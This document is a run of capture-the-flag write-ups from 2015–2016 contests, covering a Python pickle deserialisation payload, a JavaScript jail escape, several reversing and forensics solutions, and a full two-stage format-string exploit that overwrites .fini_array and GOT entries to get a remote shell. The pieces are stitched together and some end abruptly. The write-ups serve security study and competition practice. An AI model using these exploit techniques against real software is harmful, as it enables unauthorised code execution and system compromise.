> Non-standard [gurke](./gurke): <https://32c3ctf.ccc.ac/uploads/gurke> Talk to it via HTTP on <http://136.243.194.43/>.
## Write-up
by [m1ghtym0](https://github.com/m1ghtym0)
"It's not a standard gurke" is quite accurate.First it creates a flag object, which contains the flag in the "flag" attribute.Then it establishes a syscall-filter which is quite restrictive.Finally it does what we were looking for: A pickle.load with user supplied data:
data = os.read(0, 4096) try: res = pickle.loads(data) print 'res: %r\n' % res except Exception as e: print >>sys.stderr, "exception", repr(e)
However the syscall-filter prevents us from suppling a pickled object with a malicious__reduce__ function, instead we have to get hold of the "flag" object's flag attribute.
Therefore we have to write a little pickle bytecode:
cinspect\ngetmembers\n(c__main__\nflag\ntR.\n
Which is based on the opcode overview found here:http://svn.python.org/projects/python/trunk/Lib/pickle.py
The pickle interpreter works stack-based and the code above does the following (pseudocode):
push inspect.getmembers push __main__.flag pop func pop arg push (func, arg) call func(arg) ret
Which basically calls inspect.getmembers(flag).The output will include the flag attribute and it's value.
The complete exploit:
import urllib, urllib2 import re url = 'http://136.243.194.43/' # pickle bytecode # c:module:function pushes object on the stack # (: push mark object # t: pop two top most stack elements + create tuple of them + push tuple # R: call callable top most stack element # .: rerturn req = urllib2.Request(url, data="cinspect\ngetmembers\n(c__main__\nflag\ntR.\n", headers={'Content-type': 'application/python-pickle'}) response = urllib2.urlopen(req) the_page = response.read() flag = re.findall("32c3_.{25}", the_page)[0] print "flag: " + flag
## Other write-ups and resources
* <https://github.com/p4-team/ctf/tree/master/2015-12-27-32c3/gurke_misc_300#eng-version>* <http://blukat29.github.io/2015/12/32c3ctf-gurke/>* <https://github.com/krx/CTF-Writeups/tree/master/32C3%202015/misc300%20-%20gurke>* <http://nopat.ch/2015/12/29/32c3ctf-misc-gurke/>* <http://katc.hateblo.jp/entry/2015/12/30/154329>* <https://irq5.io/2015/12/30/32c3-ctf-write-up-gurke/>* <http://nandynarwhals.org/2015/12/31/32c3ctf-gurke-misc-300/>* <http://v0ids3curity.blogspot.in/2015/12/32c3-ctf-misc-300-gurke.html?m=0>* [Japanese](http://blog.objc.jp/?p=2294)* <http://pastebin.com/JikU89uJ>* <http://pastebin.com/VUkfxYyP> |
## Jit in my pants (reversing, 3 points, 38 solves) Because reversing an obfuscated jit'ed virtual machine for 3 points is fun!
In this task we got an ELF binary. Looking at it's disassembly was really hard - lotsof obfuscated code was put there - I thought that for 3 points we were supposed to usesomething easier.
Tracing the binary, we notice a lot of `gettimeofday` calls. This was a function checkingcurrent time - something which should not be present in legitimate key checking code.I created a simple replacement function (`tofd.c`), which I then LD_PRELOAD'ed to achievedeterministic execution.
In my solution, I used instruction counting to get the flag. The idea is, that the codechecks flag characters one by one, exitting early if a character is wrong. We can exploitthis - when we supply a good prefix of the flag, the binary will execute slightly longer than with a wrong one. Using `doit.py` and Intel's pin, we brute forced the solutionone char at a time in around an hour (this could take shorter time, but I wanted to stayon the safer side and used `string.printable` as the character set). |
###Forensic 100 - uagent`We think we are really cool, are we?`
#ENChallenge gives us a .pcap file. We open it in wireshark, if you analyze first packet, you will see a content of http stream.![](https://raw.githubusercontent.com/tuvshuud/1up/master/SharifCTF2016/uagent100/shot1.png)![](https://raw.githubusercontent.com/tuvshuud/1up/master/SharifCTF2016/uagent100/shot2.png)
Interesting things are it's partial contents and user-agents with base64 string.
We have used [Dshell](https://github.com/USArmyResearchLab/Dshell) to merge partial contents. [CTF writeup](https://github.com/naijim/blog/blob/master/writeups/asis-quals-ctf-2015_broken_heart_writeup.md) that uses Dshell.
After reassemble http partial contents, we got password protected zip file containing flag.png.
Ok. That user-agents with base64 string were actually png image that shows archive password.Once we parse base64 from user-agent and decodes into file, we get image.
```pythonimport dpkt, base64, redest = open('useragent', 'wb')f = open('ragent.pcap', 'rb')pcap = dpkt.pcap.Reader(f)for ts, buf in pcap: eth = dpkt.ethernet.Ethernet(buf) ip = eth.data tcp = ip.data if tcp.dport == 80 and len(tcp.data) > 0: http = dpkt.http.Request(tcp.data) m = re.match(r'sctf-app/(.*)/', http.headers['user-agent']) dest.write(base64.b64decode(m.group(1))) print http.headers['range'] if http.headers['range'] == "bytes=4589-4606": breakdest.close()```
`Flag: SharifCTF{94f7df30fbd061cc4f7294369a8bce1c}`
#MNЭнэ даалгавар нь өгөгдсөн .pcap файлыг анализ хийж флаг олох байв. Wireshark дээр нээгээд эхний пакет дээр follow tcp stream гээд үзвэл ямар нэг файл нэг хостоос нөгөө хост руу хуулж авсан талаарх мэдээлэл байв.
![](https://raw.githubusercontent.com/tuvshuud/1up/master/SharifCTF2016/uagent100/shot1.png)![](https://raw.githubusercontent.com/tuvshuud/1up/master/SharifCTF2016/uagent100/shot2.png)
Byte range аар нь хуваачихсан файлын хэсгүүд болон HTTP GET хүсэлтийн user-agent нь base64 string байгаа нь дээрх зураг дээр харагдаж байна.
Эхлээд Wireshark дээр File->Export->HTTP гэж салингид котентуудыг авч байгаад python script ээр нэгтгэсэн чинь zip file байсан ба задлах гэтэл corrupted zip гээд нээгдсэнгүй. Миний бичсэн скрипт алдаатай байсан бололтой. Тэгээд partial content уудыг автоматаар reassemble хийх tool юу байна гээд хайж байгаад [Dshell](https://github.com/USArmyResearchLab/Dshell) ийг оллоо. [Энэ](https://github.com/naijim/blog/blob/master/writeups/asis-quals-ctf-2015_broken_heart_writeup.md) даалгаварт хэрхэн ашиглаж байгаа бичсэн байна лээ.
Тэгээд Dshell ээр нэгтгээд гаргаж авсан файлаа задлах гэж үзтэл password protected байв.
Эхэнд ажиглагдсан нэг сонирхолтой зүйл base64 string тэй user-agent ууд. Тэдгээрийг decode хийгээд файлруу бичвэл архив файлын нууц үг бичсэн png зураг гарч ирэв.```pythonimport dpkt, base64, redest = open('useragent', 'wb')f = open('ragent.pcap', 'rb')pcap = dpkt.pcap.Reader(f)for ts, buf in pcap: eth = dpkt.ethernet.Ethernet(buf) ip = eth.data tcp = ip.data if tcp.dport == 80 and len(tcp.data) > 0: http = dpkt.http.Request(tcp.data) m = re.match(r'sctf-app/(.*)/', http.headers['user-agent']) dest.write(base64.b64decode(m.group(1))) print http.headers['range'] if http.headers['range'] == "bytes=4589-4606": breakdest.close()```
Нууц үгээр архив файлаа задлаад flag.png нээвэл`Flag: SharifCTF{94f7df30fbd061cc4f7294369a8bce1c}`
|
# rev70 - 'ServerfARM'
> Someone handed me this and told me that to pass the exam, I have to > extract a secret string. I know cheating is bad, but once does not count. > So are you willing to help me?
> Attachment: [rev70.zip](./rev70.zip)
Once we open up [rev70.zip](./rev70.zip) we'll see there's a file called **serverfarm** with no extension.
Pop that into IDA and we get that it's an ARM ELF file. Well in my current position, whether it be too lazy or incapable, I won't be able to run this ARM ELF file on this machine. So let's look around.
There's a little segment that allows for input (**scanf**) to be passed into a function called **handle_task**
![mainfunc](http://i.imgur.com/gFtvvtV.png)
Let's check out that function.
It's a switch-case woo!~
![switchcasespaghetti](http://i.imgur.com/gtEcxbY.png)
Now unfortunately I'm not rich so I don't have the newest version to use it's ARM64 Decompiler. Luckily there's an[ awesome website that can do decompilation with all the important/well-known processors for FREE :D](https://retdec.com/decompilation/) (I like free o3o)
Running that through gives us some awesome pictures and psuedocode.
This one being the most interesting, the layout of handle_task:
![retdec](http://i.imgur.com/IW9JIlt.png)
Well I was right when I said it was a switch-case statement. So first we do the first 'block' notified by the string saying so: **Here's your 1. block**
We have:
```cprintf("%s", "IW{"); // Start of flag: "IW{"putchar(83); // putchar writes a character to stdout: 83 = 'S'printf("%c%c\n", 46, 69); // printf of two characters: 46, 69 = '.E'```
Onto the next task and block by case 1:via execution flow```cprintf("%s", ".R."); // write ".R."putchar(86); // write 'V'printf("%c%c\n", 46, 69); // write ".E"```
The next task/block by case 2:
```cputs(".R>=F:"); // Write ".R>=F:"```
And the final one lol:
```cprintf("%c%s%c\n", 65, ":R:M", 125); // Write "A:R:M}"```
And there's our flag
```IW{S.E.R.V.E.R>=F:A:R:M}```
:3 |
# CODEGATE 2016: JS_is_not_a_jail
## Challenge details| Event | Challenge | Category | Points ||:------|:----------|:---------|-------:|| CODEGATE | JS_is_not_a_jail | Misc. | 100 |
### Description> nc 175.119.158.131 1129
## Write-up
This challenge dropped us into a JavaScript Jail which held a function which we had to trick into giving us the flag. We start by checking out what is available to us:
```javascript$ nc 175.119.158.131 1129[JavaScript Jail]let start to type on 'challenge100'V8 version 5.1.0 (candidate)d8> print(Object.keys(this));print(Object.keys(this));print,write,read,readbuffer,readline,load,quit,version,Realm,performance,Worker,os,arguments,js_challenge,challenge100undefined
print(challenge100);
d8> print(challenge100);print(challenge100);function (arr) { var random_value = "ac1a39300ce7ee8b6cff8021fd7b0b5caf5bc1c316697bd8f22e00f9fab710d6b8dba23ca80f6d80ca697e7aa26fd5f6"; var check = "20150303";
if((arr === null || arr === undefined)) { print("arr is null or undefined."); return; }
if(!arr.hasOwnProperty('length')) { print("length property is null or undefined."); return; }
if(arr.length >= 0) { print("i think you're not geek. From now on, a GEEK Only!"); return; }
if(Object.getPrototypeOf(arr) !== Array.prototype) { print("Oh.... can you give me an array?"); return; }
var length = check.length; for(var i=0;i<length;i++) { arr[i] = random_value[Math.floor(Math.random() * random_value.length)]; }
for(i=0;i<length;i++) { if(arr[i] !== check[i]) { print("Umm... i think 2015/03/03 is so special day.\nso you must set random value to 20150303 :)"); return; } } print("Yay!!"); print(flag); }undefined```
There is not really a genuine way to craft input that matches the constraints of the `challenge100` function so we have to (re)define values and objects to trick it. Luckily this is JavaScript so we can do pretty much anything.
Let's get rid of the first two checks:
```javascriptObject.getPrototypeOf = function() {return Array.prototype;};var arr = {length: -1};```
Now we need to make sure `arr` is set to:
```javascriptarr[0] = '2';arr[1] = '0';arr[2] = '1';arr[3] = '5';arr[4] = '0';arr[5] = '3';arr[6] = '0';arr[7] = '3';```
Since `arr` is assigned by values drawn from random_value using (Math.floor(Math.random() * random_value.length)) we need to redefine `Math.floor` and `Math.random` to produce the sequence `{22, 7, 2, 30, 7, 4, 7, 4}` which, when treated as indexes into `random_value` will set `arr` to the right values. We do this by first defining a global:
```javascriptvar steps = [22, 7, 2, 30, 7, 4, 7, 4];var stepindex = 0;```
And redefining `Math.random` and `Math.floor` as:
```javascriptMath.random = function() {var r = steps[stepindex]; stepindex = (stepindex + 1); return r;};Math.floor = function(i) {return (i / 96);}```
Which gives us:
```bash$ nc 175.119.158.131 1129[JavaScript Jail]let start to type on 'challenge100'V8 version 5.1.0 (candidate)d8> Object.getPrototypeOf = function() {return Array.prototype;};d8> var arr = {length: -1};undefinedd8> var steps = [22, 7, 2, 30, 7, 4, 7, 4];undefinedd8> var stepindex = 0;undefinedd8> Math.random = function() {var r = steps[stepindex]; stepindex = (stepindex + 1); return r;};function () {var r = steps[stepindex]; stepindex = (stepindex + 1); return r;}d8> Math.floor = function(i) {return (i / 96);}function (i) {return (i / 96);}d8> challenge100(arr);challenge100(arr);challenge100(arr);Yay!!flag is "easy xD, get a more hardest challenge!"``` |
# CODEGATE 2016: OldSchool
## Challenge details| Event | Challenge | Category | Points ||:------|:----------|:---------|-------:|| CODEGATE | OldSchool | Pwnable | 490 |
### Description> HackerSchool FTZ Level 20>> nc 175.119.158.131 17171> [http://codegate.bpsec.co.kr/static/files/1502184fbce57b14b4c7193cea5f2d16](challenge)
## First steps
The challenge consists of a target vulnerable application and two of its linked libraries with the following build info:
```bash$ gcc -vUsing built-in specs.COLLECT_GCC=gccCOLLECT_LTO_WRAPPER=/usr/lib/gcc/x86_64-linux-gnu/4.9/lto-wrapperTarget: x86_64-linux-gnuConfigured with: ../src/configure -v --with-pkgversion='Debian 4.9.2-10' --with-bugurl=file:///usr/share/doc/gcc-4.9/README.Bugs --enable-languages=c,c++,java,go,d,fortran,objc,obj-c++ --prefix=/usr --program-suffix=-4.9 --enable-shared --enable-linker-build-id --libexecdir=/usr/lib --without-included-gettext --enable-threads=posix --with-gxx-include-dir=/usr/include/c++/4.9 --libdir=/usr/lib --enable-nls --with-sysroot=/ --enable-clocale=gnu --enable-libstdcxx-debug --enable-libstdcxx-time=yes --enable-gnu-unique-object --disable-vtable-verify --enable-plugin --with-system-zlib --disable-browser-plugin --enable-java-awt=gtk --enable-gtk-cairo --with-java-home=/usr/lib/jvm/java-1.5.0-gcj-4.9-amd64/jre --enable-java-home --with-jvm-root-dir=/usr/lib/jvm/java-1.5.0-gcj-4.9-amd64 --with-jvm-jar-dir=/usr/lib/jvm-exports/java-1.5.0-gcj-4.9-amd64 --with-arch-directory=amd64 --with-ecj-jar=/usr/share/java/eclipse-ecj.jar --enable-objc-gc --enable-multiarch --with-arch-32=i586 --with-abi=m64 --with-multilib-list=m32,m64,mx32 --enable-multilib --with-tune=generic --enable-checking=release --build=x86_64-linux-gnu --host=x86_64-linux-gnu --target=x86_64-linux-gnuThread model: posixgcc version 4.9.2 (Debian 4.9.2-10)
$ gcc -o oldschool oldschool.c -m32 -fstack-protector```
Let's do the usual investigating:
```bash$ file oldschoololdschool; ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, not stripped```
```bash$ ./checksec.sh --file ./oldschoolRELRO STACK CANARY NX PIE RPATH RUNPATH FILENo RELRO Canary found NX enabled No PIE No RPATH No RUNPATH ./oldschool```
Pulling it through IDA:
```cint __cdecl main(int argc, const char **argv, const char **envp){ int result; // eax@1 int v4; // edx@1 char user_input; // [sp+0h] [bp-40Ch]@1 int v6; // [sp+400h] [bp-Ch]@1 int *v7; // [sp+408h] [bp-4h]@1
v7 = &arg;; v6 = *MK_FP(__GS__, 20); memset(&user_input, 0, 0x400u); printf("YOUR INPUT :"); fgets(&user_input, 1020, _bss_start); printf("RESPONSE :"); printf(&user_input); result = 0; v4 = *MK_FP(__GS__, 20) ^ v6; return result;}```
As we can see there's trivial format string vulnerability here but the complexity of this challenge doesn't lie in the vulnerability finding so much as its (reliable) exploitation. Given that we have a fms vulnerability we have a so-called 'write-anything-anywhere' primitive which allows us to write any DWORD value to any address.
So we need to find a suitable target address for overwriting which will allow us to hijack EIP control. Since we don't have a reliable infoleak (we can't use our FMS vuln (yet) for this since we cannot incorporate its results into our fms exploit string) and we assume ASLR is enabled we will need a static address that gets dereferenced somewhere and whose contents influence control-flow. A classical target for this (since RELRO is not enabled for this binary) are the entries in the GOT table but if we look at our target's disassembly we can see the following:
```asm.text:080484F9 add esp, 10h.text:080484FC sub esp, 0Ch.text:080484FF push offset aResponse ; "RESPONSE :".text:08048504 call _printf.text:08048509 add esp, 10h.text:0804850C sub esp, 0Ch.text:0804850F lea eax, [ebp+s].text:08048515 push eax ; format.text:08048516 call _printf.text:0804851B add esp, 10h.text:0804851E mov eax, 0.text:08048523 mov edx, [ebp+var_C].text:08048526 xor edx, large gs:14h.text:0804852D jz short loc_8048534.text:0804852F call ___stack_chk_fail.text:08048534 ; ---------------------------------------------------------------------------.text:08048534.text:08048534 loc_8048534: ; CODE XREF: main+92?j.text:08048534 lea esp, [ebp-8].text:08048537 pop ecx.text:08048538 pop edi.text:08048539 pop ebp.text:0804853A lea esp, [ecx-4].text:0804853D retn.text:0804853D main endp```
The only externally linked function that gets called after our fms is executed is the stack-cookie validation routine `___stack_chk_fail` and this routine only gets executed if we corrupt the saved stack cookie on the stack. Unfortunately we cannot do this as we don't know its address on the stack and as such cannot trigger `___stack_chk_fail` and have no suitable target for our GOT overwrite.
Luckily for us we have a writable `.fini_array` section:
```bash$ readelf -S ./oldschoolThere are 30 section headers, starting at offset 0x102c:
Section Headers: (...) [18] .init_array INIT_ARRAY 080496d8 0006d8 000004 00 WA 0 0 4 [19] .fini_array FINI_ARRAY 080496dc 0006dc 000004 00 WA 0 0 4```
Before it transfers control to an application the runtime linker processes initialization sections (.preinit_array, .init_array, .init) found in the application and its loaded libraries and when the application terminates the runtime linker processes its termination sections (.fini_array, .fini). These sections are effectively arrays of function pointers which point to the functions that are to be executed by the runtime linker:
```asm.fini_array:080496DC _fini_array segment dword public 'DATA' use32.fini_array:080496DC assume cs:_fini_array.fini_array:080496DC ;org 80496DCh.fini_array:080496DC __do_global_dtors_aux_fini_array_entry dd offset __do_global_dtors_aux```
As we can see `.fini_array` holds the address of a destructor function which will be executed when the application terminates. So if we use our fms to overwrite the `.fini_array` entry with an address of our choice we can hijack EIP control upon application termination.
The next step is to determine where to redirect EIP control to. Since the application is compiled with `NX` support we will need to conduct some kind of ROP (or subclass thereof, like ret2libc) attack but in order to do that we will need to bypass ASLR which in this case requires an infoleak. Luckily we have a format string vulnerability in the target application which always functions leak an infoleak due to the ability for stack value disclosure.
Hence if we overwrite `.fini_array` with the start address of the target application's `main` routine upon termination the application will effectively 'restart' again and allow us to exploit the fms vulnerability a second time. This way we can include an infoleak in the first fms exploitation string from which we can derive the addresses required to craft a full ROP chain in the second fms exploitation string.
Now we have to ask ourselves how we will exploit the fms vulnerability the second time to pop a shell. Since we now have bypassed ASLR using our infoleak we will target the GOT entry of `printf` because if we manage to overwrite it with the address of the `system` function and redirect control flow back to the `main` routine a third time we end up with a situation where `printf` is called over our `user_input` which will actually come down to `system(user_input)`. In addition to overwriting the GOT entry of `printf` here we also need to make sure execution 'loops back' to the `main` routine's start address a third time to actually trigger the call to `system`. We do this by overwriting the GOT entry of `___stack_chk_fail` (since overwriting `.fini_array` a second time didn't work here) and writing garbage to the address of the saved stack cookie so that, upon exiting the main routine, the stack cookie protection mechanism will think a stack smashing attack has been carried out and call `___stack_chk_fail` which will effectively redirect control to `main` a third time.
In order to facilitate the above we will need to leak the following pointers:
* A pointer into libc* A pointer into the stack
We can find a pointer into libc quite easily when inspecting the stack at the epilogue of the `main` routine:
```asm gdb-peda$ x/300xw $esp 0xbffff870: 0xbffff88c 0x000003fc 0xb7fcfc00 0x00000006 (...) 0xbffffc90: 0xbffffcb0 0x00000000 0x00000000 0xb7e7b723 0xbffffca0: 0x08048540 0x00000000 0x00000000 0xb7e7b723 0xbffffcb0: 0x00000001 0xbffffd44 0xbffffd4c 0xb7fed7da 0xbffffcc0: 0x00000001 0xbffffd44 0xbffffce4 0x080497ec 0xbffffcd0: 0x08048230 0xb7fcf000 0x00000000 0x00000000 0xbffffce0: 0x00000000 0xdffeebbc 0xef6a4fac 0x00000000 0xbffffcf0: 0x00000000 0x00000000 0x00000001 0x080483a0 0xbffffd00: 0x00000000 0xb7ff3020 0xb7e7b639 0xb7fff000 0xbffffd10: 0x00000001 0x080483a0 0x00000000 0x080483c1 gdb-peda$ disas 0xb7e7b723,+10 Dump of assembler code from 0xb7e7b723 to 0xb7e7b72d: 0xb7e7b723 <__libc_start_main+243>: mov DWORD PTR [esp],eax 0xb7e7b726 <__libc_start_main+246>: call 0xb7e92c00 <__GI_exit> 0xb7e7b72b <__libc_start_main+251>: xor ecx,ecx End of assembler dump.```
Here we can see the return address of `main()` back into the `__libc_start_main` routine. Note that the above is a stackdump on our local test machine with a different libc version so the offset of the pointer to the libc base address is slightly different but this can be calculated by finding the address of the equivalent return point into `__libc_start_main` in the supplied `libc-2.21.so` library. We can find a pointer into the stack in a similar fashion and determine its offset to the saved cookie to obtain its stack storage address. We can leak both pointers by exploiting the fms vulnerability using `%index$x` where index is the DWORD-offset on the stack of our target.
## Stage 1
Stage 1 of the attack consists of transforming the fms vulnerability into a reliable infoleak which is done as follows:
```python # offset of our dst_addr in our buffer (in DWORDs) offset_1 = 7 + 4 # libc pointer leak offset (in DWORDs) offset_2 = 267 # stack pointer leak offset (in DWORDs) offset_3 = 264
# .fini_array address dst_addr = 0x080496DC # <main+0> address lsb_overwrite = 0x849B # how many bytes to output to set internal written counter to lsb_overwrite val = (lsb_overwrite - (16 + 4))
# Construct FMS exploit string return chr(0x25) + str(offset_2) + '$08x' + chr(0x25) + str(offset_3) + '$08x' + pack('<I', dst_addr) + chr(0x25) + str(val) + 'x' + chr(0x25) + str(offset_1) + '$hn.'```
Which constructs the fms exploit string `%267$08x%264$08x[.fini_array_lsb_address]%valx%11$hn.` which executes a short-write (ie. it writes the number of bytes printed by the fms as a short to the target address). Note that in the above we only have to overwrite the least significant 16 bits of the pointer stored at `.fini_array` since the original pointer and the overwriting pointer are both function pointers to the target application.
## Stage 2
When we have the leaked pointers we can determine the stack cookie address and address of `system()` and execute our stage 2:
```pythondef construct_stage_2(stackcookie_addr, system_addr): # Offsets of first 3 DWORDs of our buffer on stack and the saved stack cookie (in DWORDs) offset = [7, 8, 9, 10]
# .got:__stack_chk_fail address dst_addr_1 = 0x080497E4 # <main+0> address main_lsb = 0x849B
# .got:printf address dst_addr_2 = 0x080497DC # __libc_system address # LSBs and MSBs are written seperately in short writes system_lsb = (system_addr & 0x0000FFFF) system_msb = ((system_addr & 0xFFFF0000) >> 16)
# Addresses to write to adr = [0, 0, 0, 0] # Values to print to adjust internal output counter for writing val = [0, 0, 0, 0]
# these bytes will have been already output (for addresses) upon first fms output already_written = (4 * 4)
# We write in ascending order of size # main_lsb is smallest if ((main_lsb < system_lsb) and (main_lsb < system_msb)): # write main_lsb first adr[0] = (dst_addr_1) val[0] = (main_lsb - already_written)
if (system_lsb < system_msb): # write system_lsb next adr[1] = (dst_addr_2) val[1] = (system_lsb - main_lsb)
adr[2] = (dst_addr_2 + 2) val[2] = (system_msb - system_lsb) else: # write system_msb next adr[1] = (dst_addr_2 + 2) val[1] = (system_msb - main_lsb)
adr[2] = (dst_addr_2) val[2] = (system_lsb - system_msb)
# system_lsb is smallest elif ((system_lsb < main_lsb) and (system_lsb < system_msb)): # write system_lsb first adr[0] = (dst_addr_2) val[0] = (system_lsb - already_written)
if (main_lsb < system_msb): # write main_lsb next adr[1] = (dst_addr_1) val[1] = (main_lsb - system_lsb)
adr[2] = (dst_addr_2 + 2) val[2] = (system_msb - main_lsb) else: # write system_msb next adr[1] = (dst_addr_2 + 2) val[1] = (system_msb - system_lsb)
adr[2] = (dst_addr_1) val[2] = (main_lsb - system_msb)
# system_msb is smallest elif ((system_msb < main_lsb) and (system_msb < system_lsb)): # write system_msb first adr[0] = (dst_addr_2 + 2) val[0] = (system_msb - already_written)
if (main_lsb < system_lsb): # write main_lsb next adr[1] = (dst_addr_1) val[1] = (main_lsb - system_msb)
adr[2] = (dst_addr_2) val[2] = (system_lsb - main_lsb) else: # write system_lsb next adr[1] = (dst_addr_2) val[1] = (system_lsb - system_msb)
adr[2] = (dst_addr_1) val[2] = (main_lsb - system_lsb)
# Set up clobbering of saved stack cookie adr[3] = stackcookie_addr
if ((val[2] & 0xFF) != 0): if ((val[2] & 0xFF) == 0xFF): val[3] = 2 else: val[3] = 1 else: val[3] = 1 return pack('<I', adr[0]) + pack('<I', adr[1]) + pack('<I', adr[2]) + pack('<I', adr[3]) + chr(0x25) + str(val[0]) + 'x' + chr(0x25) + str(offset[0]) + '$hn' + chr(0x25) + str(val[1]) + 'x' + chr(0x25) + str(offset[1]) + '$hn' + chr(0x25) + str(val[2]) + 'x' + chr(0x25) + str(offset[2]) + '$hn' + chr(0x25) + str(offset[3]) + '$hn'```
Here we overwrite the LSBs of `.got:__stack_chk_fail` with the LSBs of `main()`, overwrite `.got:printf` with the address of `system()` and overwrite the saved stack cookie with junk (note that this can be anything as long as its least significant byte is not 0x00 because stack cookie generation makes sure a stack cookie always has 0x00 as its least significant byte to complicate stack buffer overflow exploitation efforts).
There is some minor headache involved here because the nature of the format string `%n` and `%hn` specifiers mean that we always write the number of bytes printed so far to the target address which means that if we want to write a small and a large value we need to write the small value first and then the large value. As such we sort the order of address we write to and the values we write to them (rather inefficiently). Obviously the right way to go about doing this is by simply sorting an array of (address, value) tuples in ascending order on the value field but oh well.
## Putting it all together
Now that we have our exploit-generation code for the two stages we can [put it all together as follows](solution/oldschool_sploit.py):
```pythoncmd = '/bin/sh'libc_offsets = {'2.21': {'libc_start_main_ret': 0x0001873E, 'system': 0x0003B180}}version = '2.21'libc_start_main_ret_offset = libc_offsets[version]['libc_start_main_ret']system_offset = libc_offsets[version]['system']cookie_ptr_offset = (0xF8 + 0xC)
host = '175.119.158.131'port = 17171
h = remote(host, port, timeout = None)
print "[*] Executing stage 1..."
libc_base_addr, stackcookie_addr = stage_1(h)libc_base_addr = (libc_base_addr - libc_start_main_ret_offset)system_addr = (libc_base_addr + system_offset)stackcookie_addr = (stackcookie_addr - cookie_ptr_offset)
print "[+] Got libc base address: [%x]" % libc_base_addrprint "[+] Got system() address: [%x]" % system_addrprint "[+] Got stack cookie address: [%x]" % stackcookie_addr
print "[*] Executing stage 2..."
stage_2(h, stackcookie_addr, system_addr, cmd)
h.close()```
Which, when executed, gives us:
```bash$ ./oldschool_sploit.py [+] Opening connection to 175.119.158.131 on port 17171: Done[*] Executing stage 1...[+] Got libc base address: [b754e000][+] Got system() address: [b7589180][+] Got stack cookie address: [bfd7c41c][*] Switching to interactive mode
sh: 1: YOUR: not foundsh: 1: RESPONSE: not found$ iduid=1001(oldschool) gid=1001(oldschool) groups=1001(oldschool)$ ls -latotal 77drwxr-xr-x 21 root root 4096 Mar 8 14:37 .drwxr-xr-x 21 root root 4096 Mar 8 14:37 ..drwxr-xr-x 2 root root 4096 Mar 8 15:40 bindrwxr-xr-x 4 root root 1024 Mar 8 14:44 bootdrwxr-xr-x 19 root root 4320 Mar 13 03:27 devdrwxr-xr-x 94 root root 4096 Mar 12 22:22 etcdrwxr-xr-x 4 root root 4096 Mar 12 22:13 homelrwxrwxrwx 1 root root 32 Mar 8 14:37 initrd.img -> boot/initrd.img-4.2.0-16-genericdrwxr-xr-x 20 root root 4096 Mar 8 15:39 libdrwx------ 2 root root 16384 Mar 8 14:36 lost+founddrwxr-xr-x 3 root root 4096 Mar 8 14:37 mediadrwxr-xr-x 2 root root 4096 Oct 19 18:14 mntdrwxr-xr-x 2 root root 4096 Oct 22 02:27 optdr-xr-xr-x 160 root root 0 Mar 10 21:29 procdrwx------ 2 root root 4096 Mar 8 14:36 rootdrwxr-xr-x 22 root root 780 Mar 13 19:01 rundrwxr-xr-x 2 root root 4096 Mar 8 15:40 sbindrwxr-xr-x 2 root root 4096 Oct 22 02:27 srvdr-xr-xr-x 13 root root 0 Mar 12 22:00 sysdrwxrwxrwt 8 root root 4096 Mar 13 23:17 tmpdrwxr-xr-x 10 root root 4096 Mar 8 14:36 usrdrwxr-xr-x 12 root root 4096 Mar 8 14:43 varlrwxrwxrwx 1 root root 29 Mar 8 14:37 vmlinuz -> boot/vmlinuz-4.2.0-16-generic$ ls -la /home/oldschooltotal 40drwxr-xr-x 3 root root 4096 Mar 13 00:12 .drwxr-xr-x 4 root root 4096 Mar 12 22:13 ..-rw-r--r-- 1 root root 20 Mar 12 23:10 6a39364a7346534d16ca88ae39d20f27_flag.txt-rw-r--r-- 1 oldschool oldschool 220 Mar 12 22:13 .bash_logout-rw-r--r-- 1 oldschool oldschool 3771 Mar 12 22:13 .bashrcdrwx------ 2 oldschool oldschool 4096 Mar 12 22:14 .cache-rwxr-xr-x 1 root root 5340 Mar 11 00:50 oldschool-rw-r--r-- 1 root root 1648 Mar 11 00:50 oldschool.c-rw-r--r-- 1 oldschool oldschool 675 Mar 12 22:13 .profile$ cat /home/oldschool/6a39364a7346534d16ca88ae39d20f27_flag.txtR3st_1n_P34c3_FSB:(``` |
## unholy (reversing, 4 points, 68 solves) python or ruby? why not both!
In this task we got a Ruby program, refering to shared library unholy.so. The programmixed Ruby and Python code (and native code from the library).
Quick analysis of `main.rb` file showed that the program had a basic structure of typicalkeygenme: get flag, tell if flag is good. We had to reverse the `is_key_correct` function.
Starting at the end, we noticed that it calls Python interpreter with the following code:```exec """import structe=rangeI=lenimport sysF=sys.exitX=[[%d,%d,%d], [%d,%d,%d], [%d,%d,%d]]Y = [[383212,38297,8201833], [382494 ,348234985,3492834886], [3842947 ,984328,38423942839]]n=[5034563854941868,252734795015555591,55088063485350767967, -2770438152229037,142904135684288795,-33469734302639376803, -3633507310795117,195138776204250759,-34639402662163370450]y=[[0,0,0],[0,0,0],[0,0,0]]A=[0,0,0,0,0,0,0,0,0]for i in e(I(X)): for j in e(I(Y[0])): for k in e(I(Y)): y[i][j]+=X[i][k]*Y[k][j]c=0for r in y: for x in r: if x!=n[c]: print "dang..." F(47) c=c+1print ":)""""```It seems that we need to solve for X - it had `%d`'s in it, and assembly code called `sprintf` before, so it's probably our input, possibly after some processing.
The above Python code was simply multiplying `X` with `Y` and then comparing with `n` - all three being 3x3 matrices. Using numpy we quickly solved the `X*Y=n` equationthrough tranforming it to equivalent equation `X=n*inv(Y)`.
OK, so now we got X. It did not look as ASCII or anything, so we had to look into unholy.soto see what it really was. The most of the code was just parsing and changing internal numberrepresentations - nothing really interesting. At some point, there was a lot of xors and shiftswith some constants - something that looked like a cipher of some kind. Googling one of theconstants (0xc6ef3720) revealed that it was XTEA algorithm. We found the decryption functionimplementation and wrote a C++ code (`decrypt.cpp`) to decrypt what we had (the key was hidden as constant too). Running it yields the correct flag.in the assembly too). |
# HackIM Crypto 2 - 400pts
>Some one was here, some one had breached the security and had infiltrated here. All the evidences are touched, Logs are altered, records are modified with key as a text from book.The Operation was as smooth as CAESAR had Conquested Gaul. After analysing the evidence we have some extracts of texts in a file. We need the title of the book back, but unfortunately we only have a portion of it...
## Write-up
This challenge was also pretty simple, they provided some cipher text and the word `CAESAR` is capitalized in the description, so naturally I just shifted all the characters by one character 26 times and looked for the one that made sense. There's clearly a bug in the `caesar()` implementation, but this was enough to extract the passage ¯\_(ツ)_/¯. Taking that to a quick google search heeded the flag `In the Shadow of Greed`
Flag:> In the Shadow of Greed
```pythonimport string
def caesar(plaintext, shift): alphabet = string.ascii_lowercase shifted_alphabet = alphabet[shift:] + alphabet[:shift] table = string.maketrans(alphabet, shifted_alphabet) return plaintext.translate(table)
